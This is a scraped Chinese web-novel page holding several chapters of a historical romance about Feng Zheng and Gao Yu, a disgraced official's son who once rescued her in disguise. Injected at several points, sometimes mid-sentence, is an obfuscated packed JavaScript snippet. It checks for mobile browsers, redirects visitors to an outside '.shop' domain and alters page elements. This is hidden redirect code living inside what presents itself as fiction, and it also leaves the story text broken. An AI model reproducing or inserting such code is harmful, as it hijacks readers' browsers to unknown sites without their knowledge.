或许仰头仰得累了,又或者她喝的寒潭香后劲太强,此刻听了他的话,竟让她鬼使神差地感到头疼。冯筝恹恹扶住额,侧过头脸枕在臂间,呼吸平稳欲睡,断续轻喃细若游丝。 “我好像……” “我好像确实醉了,刍荛。” 室内极静,高豫默立窗前,短暂没有说话,再后来,他靠近得那样果决,即便冯筝醉昏了头也能察觉到一丝异样。 她恍惚回头,刚一抬眼,就看到寒潭鹤影重现春和景明处,故人今貌毫无意外地重叠在一起。 室外,高豫缓慢走近,蹲跪在她面前,视线与她持平。 “你叫我什么?” 冯筝迟迟没动,醉睫悬沾月光,眉眼般般入画,高豫倾近画卷,口吻循循善诱。 “你以前叫我什么。” “告诉我。” …… 当初高豫知会冯筝家眷,是通过襄阳驿令取得的联系。 依靠襄阳和宣城驿令的传信,冯家人粗略知道事件经过,听后来冯筝讲述,也清楚是一位善人联合襄阳官府,将害她落难的贼寇绳之于法。 他们单单知道,善人对她施加援手,却并不知道这个救济她长达半个多月的善贤,让糟糕染病的她振作起来,在她心情凄惶地细数归期时,曾担起她身边陌生却可靠的仰仗。 而那位善贤,时下正蹲跪在跟前,放任她深夜造访客院的唐突,垂眸静待她的答复。 春衫质地很轻,他的袖角随风掠起,灰蒙蒙的衣料,露出内里雪白中单。高豫腾出手臂搭在膝上,翩跹的衣角上逢禁制,遗憾垂落。 当这阵偶然的风短暂经过,宿醉的冯筝始才听懂他的意指。 他问的是那一声刍荛。 任性是醉徒的通病,曾经时常挂在嘴边的称谓,多年后被他耿直来问,冯筝却对此守口如瓶,于是当云雀拿来罩衫赶到,便看到两人披着月色在庭院中“对峙”。 这样的情景令云雀不解,毕竟在她看来,双方既没宿怨也没过节,不该闹得气氛紧张才对。 唯恐她们夜闯客院的事情闹大,云雀跑来解围,等看清冯筝不太清醒的样子,云雀这就有了判断。 一个清醒一个醉酒,谁挑起的对峙很容易分辨,姑娘从不跟人动粗,哪怕醉酒也能保持矜持,那就只能是言谈方面失了礼数。 云雀替冯筝披好罩衫,出声试图帮她回忆。 “这是午时送姑娘就医的高家郎君,姑娘不是常说,做人要学会知恩识礼的吗,他帮了你,你得对他好好说话。” 冯筝撇头求证,一双清圆的眼写满冤情,偏偏坦荡磊落,很自信对方会替她辩解,高豫无奈错开视线。 “你误解了,你家姑娘很善待我,我们没有闹不愉快。” “夜里露重,带她回去歇息吧。” 翌日敞院。 高豫应邀,进冯公的书房喝一盏茶。 当朝设有左右两位宰辅,御前辅臣众多,宰辅的地位一度被削弱。按照时人的猜想,如果右相高平缮不曾涉案,数年的积业也没有倒塌,那么高家撑一撑,或许还能借联姻手段,如愿高攀勋爵门庭。 但是科场案变后,情况就不一样了。 高家突逢变故,没绝户已经很万幸,通常来说,像这种满门获罪的门第里,女眷处境是最凄惨的,哪怕嫁进来前出身良民,既然与夫家荣辱与共,一律也得充当官婢。 冯公刚从前堂回来,喝过长房夫妇的请安茶,眼看亲事彻底结成,才正经地对亲家上心,过问起高家其余宅眷的情况。 问到高家有无其他姻亲,结果竟得知,高家子嗣都不曾婚配。 冯公难得吃惊,他百思不得其解,等平静下来,幽幽叹息道“实在不该”。 高豫没回应这个话题,后退一步,拱拳周全礼数。 “去年与冯公书信周旋,至今才有机会亲口道谢,晚辈惭愧。冯家愿意接纳蘅娘,晚辈替她向贵府拜谢。” 冯公将他扶起,“蘅娘进了冯家的门,就是我冯家长房的长媳,承纲性情稳重敦厚,日后定会好好待她,贤侄请一定放心。” 两人一通客套寒暄,例如昨夜睡得好不好,枕簟卧具是否习惯,高豫逐一照答,偶尔关心冯公康健,两人在书房兜了两圈,经过楠架时双双驻足。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯筝颇能自宽,很快与昨晚自己的醉徒表现达成和解,满脸堆笑地跨入门槛,她将挽在臂间的食盒放下,正好瞥见桌上那块叠得整齐的绢帕。 这还是昨晚替他解围时,她借他擦拭酒渍的手帕,察觉一丝若有似无的皂角香,冯筝心头微顿,紧接着就听见高豫开口。 “多谢冯姑娘昨晚解围,我已将手帕洗净,还请姑娘仔细收好。” 冯筝便学着他讲客套话,“手帕我多的是,不是什么贵重东西,三郎君不必着急归还。” 没有亲密无间,没有嘤嘤叙旧,礼貌疏离的相处模式,任谁也看不出他们这是久别重逢。 高豫闻言笑了,顺势换了副说法。 “听府里人说你今年出阁,你的东西留在我这里不合适,万一叫人猜忌,反倒损你清誉。” “也对,还是三郎君想的周到。” 冯筝懂得避嫌,顺嘴答着,不假思索地揭开了食盒。 “我带来了蜂糖水,祖父每回酒后头疼,都用蜂糖水解酒护肝。你不知道,昨夜一过,膳堂都传开了,说高家郎君酒量有多好,虽然我不清楚你是不是硬撑……但是常人宿醉,身体不难受是不可能的。” 冯筝端起汤碗,“尝尝?” 女孩眸光闪烁,貌似期待他的回应,高豫颇感新奇,想知道她到底怎么做到一边装作与他不熟,一边又能面不改色地给他关照。 如此想着,便没有拒绝她的好意,“是啊,强撑罢了。高某初来乍到,还要感谢冯姑娘替我考虑。” 老实说,被人频频答谢挺烦的,冯筝将绢帕一股脑塞进袖子,等着他把蜂糖水喝完就收碗回去,意识到观望着男客用膳不太礼貌,这就转过身去收拾食盒。 直到一声轻描淡写打破沉默。 “冯姑娘,我是不是应该认识你?” 5. 第5章 “当然认识。” 冯筝不假思索地承认,随后,虚晃一枪的解释令高豫不禁眼神微妙。 “昨晚祖父替我们相互引见,大家的身份过了明路,三郎君当然认得我了。” 高豫到底没置喙,含笑将这事翻篇,放下碗碟就去整理行装。 他留宿一晚没带行李,箱箧背囊什么的通通没有,只有三两书籍簿册,以及一个招文袋而已,全部收拾完,分明是副要走的阵仗。 冯筝知道他贸然离开是有要事,但她确实也有要事相商,懊恼之前讲闲话耽搁了时辰,冯筝出手制止他,“等等。” 他的袖沿,他的红绦,瞬息之间掠过掌心。 按照宣州习俗,治丧腰结丧绦,遇上喜事,结的便是喜绦,细长的绦带被她捉在手里,掌心颜色滚烫,神似喜事在握。冯筝松手不及,绦结陡散之际,他回了头,冷峻指节攥住前端。 “是嫌我的答谢过于敷衍,还是嫌我晾着你没有说话,冯姑娘这就要公然逞凶?” 冯筝看着这个处境困顿身世沉重,却还有胸襟半开玩笑的青年,转眼间就变得庄重。 “如果我问,你能不能不去领那道谕旨,你怎么想。” 问题来得突兀,高豫却也接受良好。 女孩话意浅显,显然和他师伯胡祯的态度如出一辙,都对谕旨怀有悲观态度,他眉眼舒展,喉珠起伏,忽然令冯筝感到眼眶酸胀。 “我会想能再次被人记挂安危,高某有些受宠若惊。” “但圣人慈悲,却并非一味讲究宽宏仁宥,既然能用御笔为我钦点官身,同样也能再动御笔免我的职。” “这个道理我一直记着,好在未来自宽自勉,如今我把它转告于你,请姑娘莫要耿耿于怀。” …… 午时三刻,高豫从樊楼门前的绫桥走过,来到宣城官衙的昭威堂中。 宣他的钦差,今日就到。 作为官署前围的审案用地,顾名思义,昭威堂昭示律法威仪,从前禁守森严的地方,此刻堂前屏门大开,百姓看客们等候多时。 更有不少江南科场案亲历者,一些因为品秩低微而免于遭殃的贡院外帘官风尘仆仆赶来,直奔这位是朝臣也是罪裔的郎君,隔着差役的威杖远远猜忌。 国朝养士制度培养出一批太学学士,朝廷对学士多有体恤,更何况高豫身兼朝班储臣,被豁免也不是没有可能。 人群拱向前,他们要看看,在高豫尚未洗清嫌疑之余,朝廷对他,究竟能偏私到什么地步。 “偌大的诏狱赭衣塞道,司衙门前聚讼纷纭,高豫与其父关系密切,若就此被轻易放过,那些受高相蒙蔽,惨遭落榜的寒门定不能答应。” “他是右相府里唯一出仕的子弟,京部的官宦通权达变,如果有意保他,未必没有手段将他干净摘出,只可怜我等无辜的陪臣,不过在外帘听候受卷,却受此案牵连,白白吃了一遭狱事的苦。” “……” 人群中胡祯神情凝重。朝廷命高豫原地待诏,这种指派钦差出京,就地携旨宣判的安排,对一个曾经显贵的宠臣而言,说不清是羞辱还是体恤。 “他在睦州平反冤错,好歹曾是我朝功臣。高三郎清清白白,京部当然要还他公道,眼下朝廷都还没给出裁决,有人反倒先做起了审官。什么通权达变、干净摘出,瞧瞧说的这话,也不怕被指讽喻当权,被钦差听到拉出去收监。” 胡祯话音刚落,唬得前面几人噤声不语,也有不服输的人要来争辩,一顿争执声起,登时有官差撞鞘喝斥。 “肃静!” 原本按照胡祯提举学事司的官身,可以替自己讨一处座席,但他只是隐匿身份,站在梧桐树下沉默观旨。 朝廷钦差官衣赫赫,手中既无金简也无谕旨,脚踏黑皂靴出现,带来一阵隐晦的风,风一吹,摇动他头顶的枝叶婆娑作响。 胡祯目睹此情此景,目睹高豫对他们抚袍曲膝,感叹他堂堂睦州观察使,踏足衙门,从未有过如此被动的时候。 昭威堂前,钦差并未展开手谕,他们临时征用这座审堂,架起了一副草台公堂。 这副阵仗摆出来,周遭顿时一片哗然,毕竟科场案经过三司圆审,孰黑数白早已查清,这高豫是否洗清嫌疑,哪里用得着现在来断? 有人跋涉千里等一个结果,没闲情看审官重演断案过程,有人嗅到蹊跷,猜疑钦差要为高豫脱罪,更有甚者兴致高涨,想看看审堂之上锣对面鼓之时,这位官籍岌岌可危的青年,会不会和囚徒们一样卑微乞怜。 衙役拔出刀剑肃场,口中高喊“通谕视听”,堂前钦差拂开袖袍,接过验明高豫正身的度牒,问:“高豫,你于去年深秋停职受审,由诏狱迁往大理寺狱,期间,有没有受过刑讯逼供。” 高豫:“没有。” 得到简练的答案,主事的钦差却眼神微变。 他记得,属于大理寺的验伤笔录里,序言写得明明白白:去年隆冬腊月,奏纸纷飞,在一批重犯由诏狱转交大理寺狱接管的当晚,他新换的囚衣浆白如雪,锁足的镣镰犁地,犁出的是条浅浅的血路。 当时,他颈后凸起的脊骨微创,蜿蜒伤痕没入衣领,随后,他于弯腰跪审时低蜷腹部,腹前裥褶中,隐约渗出斑斑血渍。 那一年,刑部院被慎刑司架空,这群慎刑司的刑官掌管诏狱,显然对高氏父子好一顿磋磨,如今得到否认的答案,钦差只是颔首,脸上没有多余的情绪。 “既无刑讯逼供,那么朝廷便认定,你此前供述全部属实。” 钦差接过一尺椟盒,揽在手里停顿了下,“这事意味着什么,我想你应该已经明白。” 这话很耳熟,高豫静静思索,想起当年因他执意抗辩,大理寺寺卿寇昌不理解,灰霭窗光前,跟他说过的一句类似的话来。 “能从死囚如麻的诏狱转到大理寺狱看押,这事意味着什么,我觉得你应能明白。” 道理不能点得太透,否则就都是话柄,炭火欠备的凛冬寒狱里,面对这份可贵的人情,他曾冒险站起来,看着散乱堆在脚边的铁链,“微臣明白。” 天字诏狱死囚如麻,能脱身诏狱,哪怕仍然困作囚籍,却已意味着性命无忧,只待案事平决,熬到局势回暖就能重获自由。 所以彼时在寇寺卿看来,在他用各种难题将他审住,然后借“嫌犯伤情不稳,对答艰难,虑及有碍行讯公正”的理由,果断将审讯掐断,命狱卒将他带走的时候,对方应该见好就收,根本没必要自揽刑伤。 完全想不到,高豫会一味地恳请“照章程来办”。 寺卿别无他法,于是就有了后来,他温驯捧起手边镣镰,丝毫不露怯地,开始了继诏狱之后,又一场不分昼夜的刑讯征途。 当时他凭借毫无破绽的供词,屡次将压力抛回刑讯者身上,没少令寺卿感到棘手,对于寺卿寇昌,高豫多少是有些愧对在的。 然而高家没有亲眷拥簇,阖府落难,唯一能指望的只剩他一人,他需尽快洗清身上嫌疑,好出狱替他们争取生机,否则被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935082|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动等到最后,连高蘅都保不住性命。 寺卿的一席点拨话语,使高豫明白官场体恤,此刻朝廷认他供述属实,高豫便懂得圣人恩典——朝廷采纳了他的无罪供述。 高豫跪立请旨,钦差将御批徐徐展开。圣谕既出,视同面圣,官员百姓们成群跪卧,婆娑作响的枝叶声里,胡祯盯死那张金黄色丝帛,听清宣判缓慢睁大了眼睛。 同一时间的冯宅,冯筝抚裙曲膝后站起身来,对着这位冯阿伯的新嫁娘,冯家长房未来的主母,仔仔细细周全了礼数。 “伯娘安康。” 高蘅杏眸鹅蛋脸,头簪石榴珠步摇,一双绣鞋藏在裙底。昨晚从夫婿那里,知道她为迎这桩婚事,亲自出街分发喜囊,高蘅看出她性情纯善,含着温婉的笑容回应她。 “好侄女。” 高蘅笑容熨帖,却始终藏着一抹忧愁,这抹忧愁逐渐煎熬,当打探情况的家仆回来报信,冯筝便听到她问。 “怎么样了?” 这是打小跟着高蘅的家仆,全靠一双腿脚往来报信,脚程赶不上事情进程,消息总会有所延迟。 “都跪着听旨呢。” “三郎君跪在最前面,奴家看不清,不过观郎君去时一幅措置裕如的模样,结果应该坏不了。” 高蘅被宽慰到,脸容明媚起来。 而听闻高豫曲膝行跪,冯筝记得他堂堂睦州观察使,身处衙门,也曾有过被动的时候。 当年,他帮助落难的自己清剿匪贼,哪怕已经向襄阳衙役出示过公验,连做半个月苦行僧的他,为防在她面前露出端倪,还是要将刍荛的身份继续演下去。 他摒除一切特殊对待,就着一套简陋桌椅,对数目甚多的贼匪撰写证词。春寒时节,他一双长腿收拢在桌底,笔直的裤腿些微上缩,“被动无助”得令人动容。 他一手墨字写得料峭,偏偏故作生涩拖沓,事后甩甩酸胀的手腕,听闻动静猝然回头。 发现她泪眼涟涟,他却露出欣慰的笑。 “没关系,这次换我努努力吧。” 那时的她处境窘迫,对这种既轻率又随和的笑,可以说是有些局促和拘谨的。 如今两人境遇对调,听着仆役讲他措置裕如的话,冯筝仿佛能预料到,他站在官衙里,面对各种猜疑不知痛痒,像模像样跪下去听旨,然后再喊一句谢恩。 他总是这样,爱撑一幅开朗随和的模样,仿佛真的做好了被罢官免职的准备,轻易割舍他长达三四年的履职生涯。 冯承纲撩袍进来,拦住要再去探信的仆役,讳莫如深的模样让屋里两人都怔愣住,冯承纲抿了抿唇线。 “阿筝,你先出去一趟,别让你伯娘难堪。” 冯筝恍若未闻,高蘅却听出了眉目,扯着夫婿请他直言,冯承纲知道瞒不住,遗憾地开了口。 “朝廷宽限他的度牒,周全他的清白,豁免他的流刑,三道恩典隆恩浩荡,谨按连坐制度,最后准他将功赎罪,迫夺所赐玺书,剥除官身贬为庶民。” 高蘅脸色霎白,往后踉跄两步,再抬头时眼眶蓄泪。 “可这对他是无妄之灾。” “可是这对他是无妄之灾!” 钦差连数三道恩典,将圣人慈悲摆在高豫面前,最后却只是准他将功赎罪,迫夺平生受赐玺书,剥除官身贬为庶民。 圣人手谕慈爱,却旨在将他功名尽除。冯筝撑伞走出廊庑,越过伞面抬头望天。 天好暗。 好像某人前途灰蒙蒙一片。 6. 第6章 这则在宣城官衙示众的御批,给江南科场舞弊案落下了最后一个句点。 众说纷纭的声音里,更多的是对这位年轻士子的遗憾惋惜,从手握权柄到贬为黎庶,身份落差太大,所以有言称,曾经的高相如何稳坐高台,如今的高豫便如何飘飖播迁。 然而漂泊的高豫无暇感伤,因为他正忙着带佩剑和绶印回睦州交公。或许,这是一道圣谕里未曾挑明的恩典:比起让有司出手革除官籍,宽限出让他致仕的机会,能为他保留一丝体面。 这天艳阳高照,冯筝把香烛放进篮子,坐进了府里安排好的马车,她们要去香积寺里,向已故的老夫人燃香祈福。 香积寺有许多客祠,只要捐够香油钱,就能借寺里的祠堂安放牌位,令逝者沐浴佛门香火,享身后哀荣。 “老夫人没能亲眼看到长子成家,如今大夫人嫁进来,也算了却了她生前念想。” 吴阿姆揭着车帘感叹着,冯筝喃喃道是,没过多理睬,将篮子上的遮布细心掖好。 用来报恩的金银细软就被她藏在香烛底下,打算瞅准时机就交给高豫。 这趟出门进香的都是女眷,她和吴嬷搭乘后方马车,高蘅和孟氏则坐前面一辆。高豫动身前往睦州,时间就在这两天,姐弟两在马车前话别。 比起前几日痛心疾首的模样,高蘅情绪有所好转,但碍于眉眼里一抹黯然神伤,青葱年纪却初现老态。高豫身量较高,半垂颈项和高蘅说了些话,不知说了什么,竟春风化雨般化解了她万般愁绪。 高蘅释然松肩,惆怅眼底终于有了点笑意。 “我怎么觉得,他们高家姐弟,关系竟然怪生疏的呢。” 吴阿姆下意识觉得奇怪,冯筝向外张望,怎么看都是副感情深厚的样子,想到缘由后把这事讲圆,“地方观察使任期五年,他三四年不曾归家,单靠一纸书信维系亲缘,跟家里生疏也难怪。” “三四年啊……姑娘怎么知道三郎君他任期未满?” 吴阿姆问完就后悔,“瞧我问的这糊涂话。三郎君这趟离开,可不就是任期未满,得亲自回睦州交差,本来再坚持两年,没准就能调回京城,实打实的前程似锦,谁料遇上这档子事……” “阿姆莫要再念,蘅娘子才被哄好,被她听见岂不是又要伤怀。” 高蘅年纪尚轻,冯筝不习惯唤她伯娘,私下仍称对方娘子。外面高蘅被高豫劝住,这边吴阿姆也被她说服,吴嬷放下车帘隔绝掉视线,也令冯筝将高豫哄她吃糖的情景抛诸脑后。 香积寺坐落在山腰,孟氏领着高蘅给老夫人敬香,然后便去前殿祈福。 前殿香客众多,殿内金相巍峨。冯筝坐在香火缭绕里看不清神佛,记不清佛陀面貌是和蔼还是庄严,却记得在香积山看到高豫的最后一眼,是他衣冠肃整出现在远处亭台里,望着高蘅长跪不起的背影,一步一步功成身退。 数月牢狱之灾,个中艰险很难想象,哪怕已经脱身诏狱,恢复衣冠照常行走,他却仿佛被一双镣镰浸透了气息,清清静静离开时,让人感到直观的冷。 孟秋扶住高蘅屡屡叩拜而颤动的手臂,若有所感地回望一眼,然而最终一无所获,冯筝瞅准时机动身,一路追下山语速很快。 “云雀,赠礼可都准备妥了?” “我之前嘱咐的宣城特产,尤其是那支紫檀兔毫没落下吧。” “茶饼呢?就是被祖父压箱底,京禄府官供的那块。” 云雀虽然不明白姑娘备礼所为何事,但不妨碍她声音也跟竹筒倒豆子似的利落。 “赠礼都备妥了。” “宣城特产都有,紫檀兔毫也是在的。” “姑娘,都说是老太爷压箱底的东西了,没得到准许婢子们哪敢碰啊。” 云雀两厢为难,冯筝慌忙想起这茬,刚刚松快的心情也跟着跌宕了下。礼单里就数那块茶饼最贵,也是家里最拿得出手的赠礼,别的东西短缺无伤大雅,茶饼没了,整份谢礼的价值却得一落千丈。 她若将酬谢恩情的事情先斩后奏,相信祖父能够体谅。冯筝思考片刻,这就设法让云雀去拖住高豫,自己则回府“借”茶饼一用。 本来就忙得不行,偏偏被一名小厮拦住去路。 小厮展开一臂让出视野,视野开阔处,一人扯下笠帽走来。青天白日里少见青年遮掩面容,眼前这位便是如此。 青年头戴短笠,侧遮的半张脸露出一小截流畅的颌线,摘下笠帽时,眼睛张弛扫来,带着抹亲和却又凛冽的尾锋。 认出江涣臣的那刻,冯筝便意识到自己短暂没法走开。 江冯两家有意结亲,按照双亲的意思,她今年年底就能出阁,婚配对象,就是这位江家郎君。遥记得上一次两人约在茶馆前碰面时,他第一句话,既非问好也非邀请,而是提醒她帏帽遮容,美其名曰“洁身自好”。 说实话,这人惯爱苛重她的清誉,她还没嫁过去就遭受苛责,心里确实不愉快,然而这桩婚事,并非冯家委曲求全。 江家家境殷实,郎君刚登新科,任太常寺奉礼郎,未来婆母亲厚,小姑又是她闺阁好友,可以预见的未来,满满都是安稳,横竖来看,她都没必要为这点瑕疵坏了姻缘。 不过他好端端在京城做官,如果突然回城,只是为了苛责她出街分赠喜囊的事,那就简直太过分了。 “还没恭贺你阿伯成亲。” 江涣臣走近,得体地朝她颔首致意,“我本来打算登门道贺,听说冯家女眷出门进香,想着有话问你,就专程在寺外等你。” 他平铺直叙地讲明来意,冯筝短暂没作出表示,先把云雀打发去办事,回过头来眼睑微压。 女孩面相温和,令她眼里胜噙温山软水,而直面这幅“芙蓉面薄难藏泪”的美貌,江涣臣便意会到朱门贵女施妆时,爱傅粉黛的其中深意。 他就适当放轻姿态,谁知冯筝率先开口。 “如果江郎君是来怪我当街抛头露面,特地来督促我谨守闺誉的话,那么请恕我现在就要离开。” 江涣臣听得懂,她说的是冯伯结亲那天的事,而她出街分赠喜囊,他也是最近回城后才得知。江涣臣包容了她的打岔,朝她露出大度的笑。 “我确实准备过问此事,不过没想怪你,只是想告诉你,今后贵府如果人手短缺,只管来江家调遣仆从,你既然不愿听,那我索性掀篇不提。” 他删繁就简直奔主题,“半年未见,冯姑娘就没有什么话要问我吗?” “暂时没有。” 得到否认的答案,江涣臣不知道是该庆幸还是失望,他微微整理面容,“最近京城发生了一些事情,跟我有关。如果风声传到宣城来,希望冯姑娘不要听信谣言。” 一封书信就能表达的事,偏偏当面来讲,至于什么谣言,不讲又不澄清。 冯筝看不懂他,掂了掂轻重缓急,果断答应他,顺利脱身离开。 城西酒楼。 黄縢酒又名黄封酒,以黄绶带捆缚瓶口而得名。工部员外郎张季安紧握瓶身,韧滑的丝带被他缠绕指端,抽扯迸散间,高豫抬手截下这壶酒。 “你我都需要赶路,这酒还是留着更好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喋喋不休的男人瞬间变得沉默,张季安仰头把茶水饮尽,他虽然期待这桩案子能有变数,期待未来能够翻案,却同样不愿看到好友为了搜罗片辞孤证,自此走向颠沛流离道再也回不了头。 张季安很纠结,直到馥娘的面容浮现在脑海,最终还是认怂。 “是啊,我是醉了,没有证据的事情,我怎么敢信口攀咬……不说这些了,你我难得相聚,这一点菜怎么管够?早就听闻宣州菜系出名,什么水晶虾仁、文思豆腐统统都要点一遍,不能浪费我的酒水!” 张季安拍板就走,闯出厢房找伙计布菜,门外,听了满耳朵墙角的冯筝暗暗踱开,这样一经过,刚好看到高豫靠在椅子上,攥着茶杯细微出神。 一刻钟前,云雀跟踪高豫到酒楼,始终不敢现身阻拦,冯筝从附近摊贩的口中确认他踪迹,径自来到酒楼堵人,这就意外听到了墙角。 满楼声光凌乱,厢房房门大开,几声秋燥的蝉音漏进轩窗,与他沉静豁达的模样对比鲜明。 他是这样豁达,以致于冯筝短暂拿不准,到底该称赞他这副雪压竹枝低复举的料峭风骨,还是该怜悯他,从此失去家族荫庇的飘零身世。 冯筝颦眉低头,手中纸袋油亮,里面是咬了两口的咸菜酥饼。 她走到角落里,准备先解决这张酥饼再办事。 “……” “冯姑娘表情精彩纷呈,是这酥饼太咸,惹得姑娘频频皱眉,还是高某面貌丑陋,败坏了姑娘吃饼的兴致?” 7. 第7章 细细算来,高豫无疑是俊美的。 乌鬓墨眉,眼瞳似海,手捧礼单快速阅览完,轻轻搁在膳桌上,甫一抬眼,端详的眼神直捣心府。 冯筝揣着便宜酥饼,献出手的赠礼却阔绰豪奢,高豫将礼单轻轻推回,谨慎提醒她。 “可是我认识姑娘还不到四天,不记得曾经和你有什么情谊,更别提这救命之恩。冯姑娘不要认错了人。” 闻言,冯筝立刻眉眼蔫搭,高豫觉得费解:她不认他,心存顾忌欲同他疏远,他遂了她的意与她保持距离,她又觉得委屈。 他便歇了这兜圈子的想法,和颜悦色地跟她讲道理,谁知冯筝迅速和盘托出。 “三年前春,我替刍荛缝补衣裳,葛衣粗糙磨破了手,他亲手替我擦好药膏,还嘱咐我不要为这些破烂费神,我以为他不满意,嫌我耽误他把衣裳穿破,就刻意用食指,在袖底戳出五六个豁口,还原他爱的破烂模样。” “三年前崇祝寺,他给我的绣囊塞满银两,说等到我把钱花完,家人就会来和我团聚,两天后我果然等到双亲来接,但这些钱我分文未动。” “从前,我总是寄希望于刍荛替我摆平一切,如今我想要帮他点什么,哪怕帮不了许多,也至少让我酬谢恩情。” 冯筝急催催把话说完,根本没给人打断的余地,期间掏出绣帕按了按眼角,很是一副菩萨心肠反被糟践的凄楚模样。高豫越瞧越想笑,最后浓重哂了一下。 他至今都记得,那件葛衣的豁口如何圆润,策马期间暗暗撕裂,如何让赶回辖地的他颜面扫地—— 常人披衣御寒,倒春寒的天,他却是穿着漏风的衣裳四处招摇,好不容易回司衙复命,上差面前,天知道他陡然发现袖管裂开时,是怎样一种难言的心情。 冯筝喜笑盈腮,知道这事藏不住了,由此露出得逞的笑。 直到高豫疑问。 “冯姑娘,你是怎么看待我的?” “之前顾忌和我相认,是在想当年那个割草采薪的刍荛,如今竟要挟恩以报,还是觉得高三郎揪着旧事不放,大有可能目的不纯?” 他挺括的肩背前倾,肩骨如弓弦张满,偏偏神态既轻且柔,讲话又温又缓,令冯筝根本提不起戒备,即便明知如临大敌,也依旧能够稳住自己。 “我如果怕你挟恩以报,就不会追来这里酬谢你。先前装作不识,是突然得知你的身份,心里乱糟糟的,还没想好怎样面对……换句话讲,短暂有点接受无能。” “三郎君能理解的,对不对?” 他只是笑笑,眼睛安之若素,没有回答。 “那你现在能接受了吗?” 满口解释的话噎进腹中,冯筝被问住,直视高豫双眼,却一下子发现,她竟害怕和他身为高豫的苦难共情。 她摇摇头,“不能。” 这之间有许多未尽之语,但他们两人谁也没继续说下去。冯筝眼睫轻颤,把殃及眼眶的酸楚感收敛回去的同时,把礼单也重新叠好塞进袖子。 “抱歉,我失态了。” 冯筝不确定,自己有没有争取到他的理解,不被理解也没关系,毕竟她这趟来的目的很简单,只是为了酬谢恩情。 礼单所列金银细软,宣城特产等等,都被她寄存在钱庄供他支取,暗号也已经告诉他,只要他有需要,随时都可以一起带走。自知没有理由再留在这里,冯筝提裙就走。 “风筝。” 冯筝钝钝回过头。 “如果你还愿意让我这样喊你的话。”高豫撑起膝盖起身,拿起那袋被她咬掉半边的酥饼,放到她手里,道别以前,最后跟她说了句话。 “我回睦州致仕以后,来日宣城再见,如果你还有耐心听我解释,我便把过去种种蒙骗欺瞒,隐匿身份的来由始末,都一五一十地讲给你听。” -- 酒楼生意太忙,张季安好不容易找到伙计加菜,刚回来就撞见一个姑娘从厢房离去。 女子素衣净裙,眼睛柔美明净,离开的时候,一根芙蓉簪子晃得厉害,他不明就里,进来就撞见高豫神色凝重。 说来可笑,他半壶酒都没给人说动,这位姑娘一进一出,就让这好整以暇的男人终于郑重起来。 张季安原本就不信,如果高相果真枉死,哪怕只有一丝嫌疑,高豫会没有昭雪之心,此刻撞见他神情凝重,更笃定此前是他强装旷达。 不过这事既然掀篇就不便再提,张季安问,“你跟刚才那位姑娘认识?” 不怪张季安感到诧异,两人同窗多年,同年俯首称臣,他从未听说高豫结识过什么红颜知己,如今突然冒出一名年轻女子,能共处一室想必关系也不生分。 察觉张季安的审视,高豫额角微跳,适时制止他的猜疑。 “是我姊婿家的姑娘,如今唤蘅娘一声伯母。季安休要想岔,姑娘家经不起这种打趣。” 张季安知道他来宣城送亲这件事,却没想到女孩就出自这户姻亲,听到好友维护的话,只怪高豫把他看扁。 “我好歹也是学儒经出身,知道什么玩笑能开,什么玩笑不能开,更何况现在知道了她的来历,按照辈分,她得跟你未来外甥们喊你舅舅。你说我还有没有廉耻开你们玩笑?” 高豫脸色微变,缓慢才找回自己的声音。 “如此,倒是我狭隘了。” -- 这些天,冯江两家走得殷勤。 这样走得勤了,好事也跟着接踵而来。 二房夫妇带着冯筝的庚帖去江府拟定婚约,顺便商定婚期,傍晚才迟迟归家,回得晚也就罢了,还双双都是脸色紧绷。 冯承琨躁郁得不行,端起一碗安神茶,把茶盖磕得哐当作响,最后按捺不住回书房去,孟夫人就更糟糕了,连晚饭都没吃下。 于是当冯筝提着食盒,带着厨房煨好的蛋粥来关心母亲,看到母亲遗憾又疼惜的表情时,立刻就明白和江家的婚事大概得告吹。 “娘,发生什么事了?” 孟夫人把粥食放下来,正要跟女儿说道此事。两家最近走动殷勤,江家夫妇对结亲事宜乐见其成,眼瞅着就要交换庚帖,坏就坏在江老夫人从中作梗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在孟氏看来,京门望族注重脸面,没有男方默许,那廉家不会敢豁出颜面,任凭女儿闹到这步田地。 孟氏原本还怪罪江家郎君精明算计,既算计了女儿真心,又算计到京门高枝,看到冯筝对此事轻拿轻放,满腹郁闷这就消了大半。 一席话聊到很晚,冯筝挑着灯笼回到闺房时,天已擦黑。 厚厚一沓书信被归拢到桌前,夜里寂静,冯筝守着一盏灯独自坐在寝堂,对着这沓书信悲喜难辨。 这些都出自江家郎手笔,花式嘘寒问暖,凝缩着他们近两年来所有的交情。说实话很难想象,碰面时总是一副肃穆模样的江郎,写的信竟情意缠绵,所以赴约时常常无语凝噎的自己,比起当面对他种种苛重瞪眼鼓腮,更愿意跟他笔墨周旋。 